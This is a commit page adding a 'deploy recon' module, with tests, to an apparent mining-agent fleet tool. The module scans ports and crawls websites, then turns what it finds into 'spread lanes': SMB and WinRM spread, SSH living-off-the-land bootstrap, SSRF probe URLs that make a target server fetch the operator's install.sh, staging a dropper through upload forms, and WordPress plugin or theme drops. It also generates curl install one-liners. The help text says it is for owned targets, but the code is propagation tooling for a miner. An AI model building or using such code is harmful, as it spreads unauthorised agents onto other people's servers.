Add browser deploy recon backend with port scan, web crawl, and deploy lane recommendations.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
POST /api/v1/recon/scan probes fleet ports from the server host, crawls owned HTTP targets, maps findings to spread lanes, and records optional oath ledger rows.
This commit is contained in:
62
server/web/src/help/deployRecon.test.ts
Normal file
62
server/web/src/help/deployRecon.test.ts
Normal file
@@ -0,0 +1,62 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
buildReconFindingCards,
|
||||
buildReconMermaid,
|
||||
crucibleSpreadLink,
|
||||
curlInstallLine,
|
||||
reconScanBody,
|
||||
ssrfConfidence,
|
||||
} from './deployRecon';
|
||||
import type { ReconScanReport } from '../types/recon';
|
||||
|
||||
describe('deployRecon helpers', () => {
|
||||
it('maps scan form to API body', () => {
|
||||
expect(reconScanBody('10.0.0.1', 443, true, 'admin')).toEqual({
|
||||
host: '10.0.0.1',
|
||||
port: 443,
|
||||
scheme: 'https',
|
||||
paths: ['/admin'],
|
||||
});
|
||||
});
|
||||
|
||||
it('builds curl one-liner with pinned build', () => {
|
||||
const line = curlInstallLine('https://deck.example', 'build-abc');
|
||||
expect(line).toContain('curl -sL');
|
||||
expect(line).toContain('install.sh?pin=build-abc');
|
||||
});
|
||||
|
||||
it('derives SSRF confidence from score', () => {
|
||||
expect(ssrfConfidence(55)).toBe('high');
|
||||
expect(ssrfConfidence(35)).toBe('medium');
|
||||
expect(ssrfConfidence(5)).toBe('low');
|
||||
});
|
||||
|
||||
it('builds finding cards from crawl report', () => {
|
||||
const report: ReconScanReport = {
|
||||
host: 'lab.local',
|
||||
scanned_at: '2026-06-07T12:00:00Z',
|
||||
ports: [{ port: 445, open: true }],
|
||||
crawl: {
|
||||
pages_fetched: 2,
|
||||
ssrf_score: 40,
|
||||
url_fields: [{ page_url: 'http://lab/upload', name: 'webhook_url', hint: 'url-like' }],
|
||||
cms_fingerprints: ['wordpress'],
|
||||
multipart_forms: [{
|
||||
page_url: 'http://lab/upload',
|
||||
method: 'post',
|
||||
multipart: true,
|
||||
has_file_input: true,
|
||||
}],
|
||||
},
|
||||
};
|
||||
const cards = buildReconFindingCards(report, 'https://deck.example');
|
||||
expect(cards.some((c) => c.kind === 'ssrf')).toBe(true);
|
||||
expect(cards.some((c) => c.kind === 'file_upload')).toBe(true);
|
||||
expect(cards.some((c) => c.kind === 'cms')).toBe(true);
|
||||
expect(buildReconMermaid(report.ports, cards)).toContain('flowchart');
|
||||
});
|
||||
|
||||
it('crucible spread link encodes host and tab', () => {
|
||||
expect(crucibleSpreadLink('10.0.0.5')).toBe('/crucible?tab=spread&spread_host=10.0.0.5');
|
||||
});
|
||||
});
|
||||
137
server/web/src/help/deployRecon.ts
Normal file
137
server/web/src/help/deployRecon.ts
Normal file
@@ -0,0 +1,137 @@
|
||||
import { shOneliner, pinQuery } from './emberwake';
|
||||
import type {
|
||||
ReconConfidence,
|
||||
ReconCrawlReport,
|
||||
ReconPortResult,
|
||||
ReconScanReport,
|
||||
ReconWebFindingCard,
|
||||
} from '../types/recon';
|
||||
|
||||
export const RECON_PORT_HINTS: Record<number, string> = {
|
||||
22: 'SSH LOTL bootstrap',
|
||||
80: 'curl install.sh browser drop',
|
||||
443: 'curl install.sh browser drop',
|
||||
445: 'SMB UNC spread',
|
||||
3389: 'RDP surface',
|
||||
5985: 'WinRM spread',
|
||||
5986: 'WinRM TLS spread',
|
||||
8080: 'HTTP-alt browser drop',
|
||||
8443: 'HTTPS-alt browser drop',
|
||||
};
|
||||
|
||||
export const FLEET_SPREAD_PORTS = new Set([22, 445, 5985, 5986]);
|
||||
|
||||
export function reconScanBody(
|
||||
host: string,
|
||||
port: number,
|
||||
https: boolean,
|
||||
pathPrefix: string,
|
||||
): { host: string; port: number; scheme: string; paths?: string[] } {
|
||||
const prefix = pathPrefix.trim();
|
||||
const paths = prefix ? [prefix.startsWith('/') ? prefix : `/${prefix}`] : undefined;
|
||||
return {
|
||||
host: host.trim(),
|
||||
port: port > 0 ? port : 80,
|
||||
scheme: https ? 'https' : 'http',
|
||||
paths,
|
||||
};
|
||||
}
|
||||
|
||||
export function ssrfConfidence(score: number): ReconConfidence {
|
||||
if (score >= 50) return 'high';
|
||||
if (score >= 30) return 'medium';
|
||||
return 'low';
|
||||
}
|
||||
|
||||
export function buildReconFindingCards(report: ReconScanReport, deckOrigin: string): ReconWebFindingCard[] {
|
||||
const crawl = report.crawl;
|
||||
const cards: ReconWebFindingCard[] = [];
|
||||
if (!crawl) return cards;
|
||||
|
||||
if (crawl.ssrf_score > 0 || (crawl.url_fields?.length ?? 0) > 0) {
|
||||
const field = crawl.url_fields?.[0];
|
||||
const probe = field
|
||||
? `${field.page_url}${field.page_url.includes('?') ? '&' : '?'}${field.name}=${encodeURIComponent(`${deckOrigin.replace(/\/$/, '')}/get`)}`
|
||||
: `${deckOrigin.replace(/\/$/, '')}/get`;
|
||||
cards.push({
|
||||
id: 'ssrf',
|
||||
kind: 'ssrf',
|
||||
title: 'SSRF candidate fields',
|
||||
detail: field
|
||||
? `Reflective field "${field.name}" on ${field.page_url} — paste probe URL into the form.`
|
||||
: `SSRF score ${crawl.ssrf_score} from URL-like inputs across crawled pages.`,
|
||||
confidence: ssrfConfidence(crawl.ssrf_score),
|
||||
spread_lane: 'ssrf',
|
||||
probe_url: probe,
|
||||
mermaid: 'flowchart LR\n form[vuln field] --> fetch[server fetch]\n fetch --> deck[install.sh /get]',
|
||||
});
|
||||
}
|
||||
|
||||
const uploads = [...(crawl.multipart_forms ?? []), ...(crawl.file_inputs ?? [])];
|
||||
if (uploads.length > 0) {
|
||||
const u = uploads[0];
|
||||
cards.push({
|
||||
id: 'upload',
|
||||
kind: 'file_upload',
|
||||
title: 'File upload surface',
|
||||
detail: `${u.method?.toUpperCase() ?? 'POST'} ${u.action || u.page_url} — stage dropper when extension policy allows.`,
|
||||
confidence: u.multipart || u.has_file_input ? 'high' : 'medium',
|
||||
spread_lane: 'stage_fetch',
|
||||
mermaid: 'flowchart LR\n browser[multipart form] --> upload[file input]\n upload --> stage[stage_fetch]',
|
||||
});
|
||||
}
|
||||
|
||||
for (const cms of crawl.cms_fingerprints ?? []) {
|
||||
cards.push({
|
||||
id: `cms-${cms}`,
|
||||
kind: 'cms',
|
||||
title: `${cms} CMS hint`,
|
||||
detail: `HTML/path signatures match ${cms} — supply-chain plugin or theme drop may apply.`,
|
||||
confidence: cms === 'wordpress' ? 'high' : 'medium',
|
||||
spread_lane: cms,
|
||||
mermaid: `flowchart LR\n cms[${cms}] --> plugin[supply chain]\n plugin --> curl[curl install.sh]`,
|
||||
});
|
||||
}
|
||||
|
||||
if (cards.length === 0 && (crawl.pages_fetched ?? 0) > 0) {
|
||||
cards.push({
|
||||
id: 'web-live',
|
||||
kind: 'info',
|
||||
title: 'Web surface live',
|
||||
detail: `Crawled ${crawl.pages_fetched} page(s) — browser curl one-liner may work on owned hosts.`,
|
||||
confidence: 'low',
|
||||
spread_lane: 'bits_curl',
|
||||
mermaid: 'flowchart LR\n browser[operator] --> curl[curl install.sh]\n curl --> agent[join fleet]',
|
||||
});
|
||||
}
|
||||
|
||||
return cards;
|
||||
}
|
||||
|
||||
export function buildReconMermaid(ports: ReconPortResult[], cards: ReconWebFindingCard[]): string {
|
||||
const lines = ['flowchart TD', ' target[Target host]'];
|
||||
let open = 0;
|
||||
for (const p of ports) {
|
||||
if (!p.open) continue;
|
||||
open++;
|
||||
const hint = RECON_PORT_HINTS[p.port] ?? `tcp/${p.port}`;
|
||||
lines.push(` target --> p${p.port}["${p.port} open · ${hint}"]`);
|
||||
}
|
||||
if (open === 0) lines.push(' target --> closed[no fleet ports open]');
|
||||
cards.slice(0, 3).forEach((c, i) => {
|
||||
lines.push(` target --> f${i}[${c.kind}]`);
|
||||
});
|
||||
return lines.join('\n');
|
||||
}
|
||||
|
||||
export function crucibleSpreadLink(host: string, finding?: string): string {
|
||||
const q = new URLSearchParams({ reconHost: host.trim(), tab: 'spread' });
|
||||
if (finding?.trim()) q.set('finding', finding.trim());
|
||||
return `/crucible?${q.toString()}`;
|
||||
}
|
||||
|
||||
export function curlInstallLine(serverBase: string, pinnedBuildId: string): string {
|
||||
const base = serverBase.replace(/\/$/, '');
|
||||
const q = pinnedBuildId ? pinQuery(pinnedBuildId) : '';
|
||||
return shOneliner(base, q);
|
||||
}
|
||||
@@ -140,6 +140,9 @@ export const DOC_ANCHORS: Record<string, string> = {
|
||||
dash_install_funnel: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
|
||||
crucible_node_roster: '/docs/#dashboard',
|
||||
crucible_tab_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
dr_overview: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||
dr_port_matrix: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
dr_path_prefix: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||
crucible_full_audit: '/docs/#crucible-ops',
|
||||
bm_pin_dropper: '/docs/#build-manager',
|
||||
bm_dropper_oneliner: '/docs/#build-manager',
|
||||
|
||||
@@ -11,6 +11,8 @@ const PAGE_LABELS: Record<string, string> = {
|
||||
'/spread': 'Emberwake',
|
||||
'/settings': 'Calibrate',
|
||||
'/pathtracer': 'Path Tracer',
|
||||
'/deploy-recon': 'Deploy Recon',
|
||||
'/browser-spread': 'Deploy Recon',
|
||||
};
|
||||
|
||||
export function presencePageLabel(path: string): string {
|
||||
|
||||
@@ -110,6 +110,9 @@ describe('UI_HELP', () => {
|
||||
'set_webhook',
|
||||
'ui_color_scheme',
|
||||
'crucible_section_spread_templates',
|
||||
'dr_overview',
|
||||
'dr_port_matrix',
|
||||
'dr_path_prefix',
|
||||
] as const;
|
||||
|
||||
it('defines help for every documented UI key', () => {
|
||||
|
||||
@@ -225,4 +225,11 @@ export const UI_HELP: Record<string, string> = {
|
||||
'HTTP POST endpoint that receives JSON for every enabled fleet event: { event, title, message }. Use for Slack incoming webhooks, n8n automation, custom dashboards, or any HTTP trigger.',
|
||||
ui_color_scheme:
|
||||
'AetherForge is steampunk dark-first. When your OS uses light mode, panels soften slightly via prefers-color-scheme — neon brass/cyan tokens stay the same. No separate theme toggle yet.',
|
||||
|
||||
dr_overview:
|
||||
'Owned-target browser deploy recon from the control server: TCP port matrix, shallow web crawl for upload/SSRF/CMS hints, and copy-paste curl install.sh + SSRF probe URLs pinned to your session build.',
|
||||
dr_port_matrix:
|
||||
'Green cells are open TCP ports on the target from this server. Click an open port for the spread lane hint (WinRM, SMB, curl drop, SSH LOTL).',
|
||||
dr_path_prefix:
|
||||
'Optional URL path prefix for the web crawl seed (e.g. /admin). Port field sets the HTTP(S) service port; HTTPS toggle sets scheme.',
|
||||
};
|
||||
|
||||
Reference in New Issue
Block a user